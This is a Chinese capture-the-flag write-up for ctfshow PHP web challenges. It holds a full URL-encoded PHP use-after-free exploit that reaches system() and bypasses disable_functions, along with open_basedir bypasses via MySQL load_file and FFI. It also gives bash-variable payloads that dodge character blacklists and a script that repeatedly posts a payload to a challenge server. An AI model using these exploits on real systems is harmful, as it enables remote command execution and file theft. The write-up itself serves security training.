c=function%20ctfshow(%24cmd)%0A%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%0A%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for%20(%24j%20%3D%20%24s%20-%201%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%20%2B%20%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C%20(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C%20(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if%20(%24s%20!%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if%20(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if%20(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%0A%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while%20(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%0A%20%20%20%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%0A%20%20%20%20%7D%3B%0A%0A%20%20%20%20if%20(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if%20(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if%20(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for%20(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3B%0Aob_end_flush()%3B

但这玩意儿仅限 unix,因此我没成功回显,这里payload是抄的.....

web73

使用遍历获取目录

c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();

包含试试

c=include('flagc.txt');exit();

web74

扫描目录
scandir()被禁用,用DirectoryIterator类

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
c=$a=new DirectoryIterator("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit();

包含flagx.txt即可,c=include('/flagx.txt');exit();

web75

用上面的glob协议扫描flag在flag36.txt

这道题的payload不是很懂,利用sql语句绕过open_basedir和disable_function

mysql的连接参数可以通过前面几个题拿到 ,这里可以参考通过sql数据库读取文件

这里直接上payload

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76

思路跟上题一样,payload如下

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}

依旧先用用上面的glob协议扫描flag在flag36x.txt

题目提示环境为PHP7.4,这道题是利用FFI拓展,payload如下

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();

传入payload之后访问flag.txt即可

web118

查看提示,这道题用到了linux的内置变量.

fuzz尝试之后发现只有大写字母和${}:?.~等等字符可以通过,可以使用bash内置变量进行利用

这里附上演示示例

┌──(root?kali)-[~]
└─# echo ${PWD} 
/root
                                                                                                      
┌──(root?kali)-[~]
└─# echo ${PWD:0:1}      #表示从0下标开始的第一个字符
/  

#从结尾开始往前的第一个字符:从下标零对应的字符,然后往后读一个字符
比如echo ${PWD:~2:2} 输出oo                                                                                                                                                                                     
┌──(root?kali)-[~]
└─# echo ${PWD:~0:1}      
t
                                                                                
┌──(root?kali)-[~]
└─# echo ${PWD:~0}      
t
                                                                             
┌──(root?kali)-[~]
└─# echo ${PWD:~A}       #所以字母和0具有同样作用             
t
                                                                    
┌──(root?kali)-[~]
└─# echo ${PATH}                            
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
                                                                    
┌──(root?kali)-[~]
└─# echo ${PATH:~A}                
n
                                                                                                    
┌──(root?kali)-[~]
└─# ls                                      
Desktop  Documents  Downloads  flag.txt  Music  Pictures  Public  Templates  Videos
                                                                                              
┌──(root?kali)-[~]
└─# ${PATH:~A}l flag.txt
     1  flag{test}
                    
${PWD} 返回工作目录(你当前所在的目录)

可以使用切片取得返回的字母 例:${PWD:0:1}

同时可以利用取反号~取变量的后几位 例:${PWD:~0}

0也可以用字母代替 例:${PWD:~A} 返回结果和 ${PWD:~0}相同

${PATH} 通常是bin

$IFS 内部域分隔符 默认为空白(空格, 制表符,和换行符)

payload如下:

${PATH:~A}${PWD:~A}$IFS????.???  #nl flag.php

//其他
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

web119

这次在前面的基础上把path给禁了,也就是我们无法获得n这个字母,也就无法构成了nl命令。接下来我们尝试构造一下/bin/cat,而想要匹配到我们至少需要一个/符号和一个cat中的一个字母,这里使用${SHLVL}来配合构造/

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

一般给的权限都是www-data,所以我们用${USER}可以获得“www-data”,而我们要取到at的话需要${USER:~2:2},但数字是被禁了,所以接下来我们还需要想想怎么构造出2,翻了翻,这要什么来什么了,看见php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION 

payload1如下:

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
# pwd=/var/www/html
# ${#}是0,${SHLVL}为1
# USER=www-data
# payload即为 /???/?at ????.???   即/bin/cat flag.php

payload2:

PHP_CFLAGS=-fstack-protector-strong # 通过前面的题配置文件获得获得

PHP_VERSION=7.3.22 # php版本

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时${SHLVL}=2
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???

# PHP_CFLAGS=PHP_CFLAGS=-fstack-protector-strong
# PHP_VERSION=7.3.22
# ${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}是3
# tac flag.txt

web120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/x09|x0a|[a-z]|[0-9]|PATH|BASH|HOME|/|(|)|[|]|\\|+|-|!|=|^|*|x26|\%|<|>|'|"|`|||,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这次限制payload长度在65以内,上题我们payload达到99的长度,所以我们适当减少一下,我们就不取www-data中的at,只取a进行匹配,尝试构造如下

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.???

但发现长度是66还是超了,接着我们把${#}去掉,那么那个位置默认为0,也是可以的,最终payload如下:

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

web121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/x09|x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|/|(|)|[|]|\\|+|-|_|~|!|=|^|*|x26|\%|<|>|'|"|`|||,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这次把USER给禁了,首先我们现在可以利用的是PWD,也就是“/var/www/html”,对应了一下bin中的命令,发现我们可以取r来构造/bin/rev取反命令读取文件,也就是我们需要构造出${PWD:3:1}的效果

这里我们可以用${IFS}和${#}分别替代

${#IFS}在ubuntu等系统中值为3,我在kali中测试值为4

${#}为添加到shell的参数个数,${##}则为值1

所以构成payload如下

code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???

web122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/x09|x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|/|(|)|[|]|\\|+|-|_|~|!|=|^|*|x26|#|%|>|'|"|`|||,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}
?>

这次把pwd和#都给禁了,这次我们换另一个命令/bin/base64,这次放开了HOME,我们就用HOME来获取/,数字1的话我们没法使用${##}了,这里使用$?

$? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
佬找的几个报错对应的返回值

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"

利用<A的报错就能返回值1,根据题目fuzz提示,后面的base64中的4我们可以利用${RANDOM}来获得(因为具有随机性,所以要多尝试直到随机出4来),到这里思路很清晰了,构造payload

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

当然如果你懒的话,用佬的脚本跑

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/19 12:17
# blog: www.wlhhlc.top
import requests

url = "http://3f405f9a-8ca5-4519-aef8-95943df5d5de.chall.ctf.show:8080/"
data = {'code': r'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???'}
while True:
    result = requests.post(url=url, data=data)
    if "PD9waHA" in result.text:
        print(result.text)
        break

web124

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '	', '
', '
',''', '"', '`', '[', ']'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_x7f-xff][a-zA-Z_0-9x7f-xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

参考大佬

分析一波源码,get传参c,并且长度不能超过80,设置了黑名单和白名单和正则过滤。按照提示我们去找找一些数学函数进行使用,这么多白名单也注定了有多种payload,这里我使用base_convert()getallheaders配合使用

具体用法可以参考:PHP base_convert() 函数

注意,因为正则会匹配字母,所以我们需要通过base_convert()进行一个转换

echo base_convert('system',36,10);
//得到1751504350,从36进制转换到10进制,36进制包含10个数字和26个字母

echo base_convert('getallheaders',30,10);
//得到8768397090111664438,这里不使用36进制是因为精度会丢失,尝试到30的时候成功

payload如下:

?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1}) 

这里注意的是箭头处要空两行(但我不知道为啥)否则不会回显

这里思考了一下,为何?这个通配符在上述构造payload时,不能将全部字母替换为?;因为虽然?代表任意字符,但如果你输入???,那么他回显的结果可能会很多,因此系统不知道你认定的是哪个,于是不会成功执行,倘若你在前面加一个c??,那么根据他就会在系统内识别为cat这样就能成功执行(说的有点混乱,大体意思还行).

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。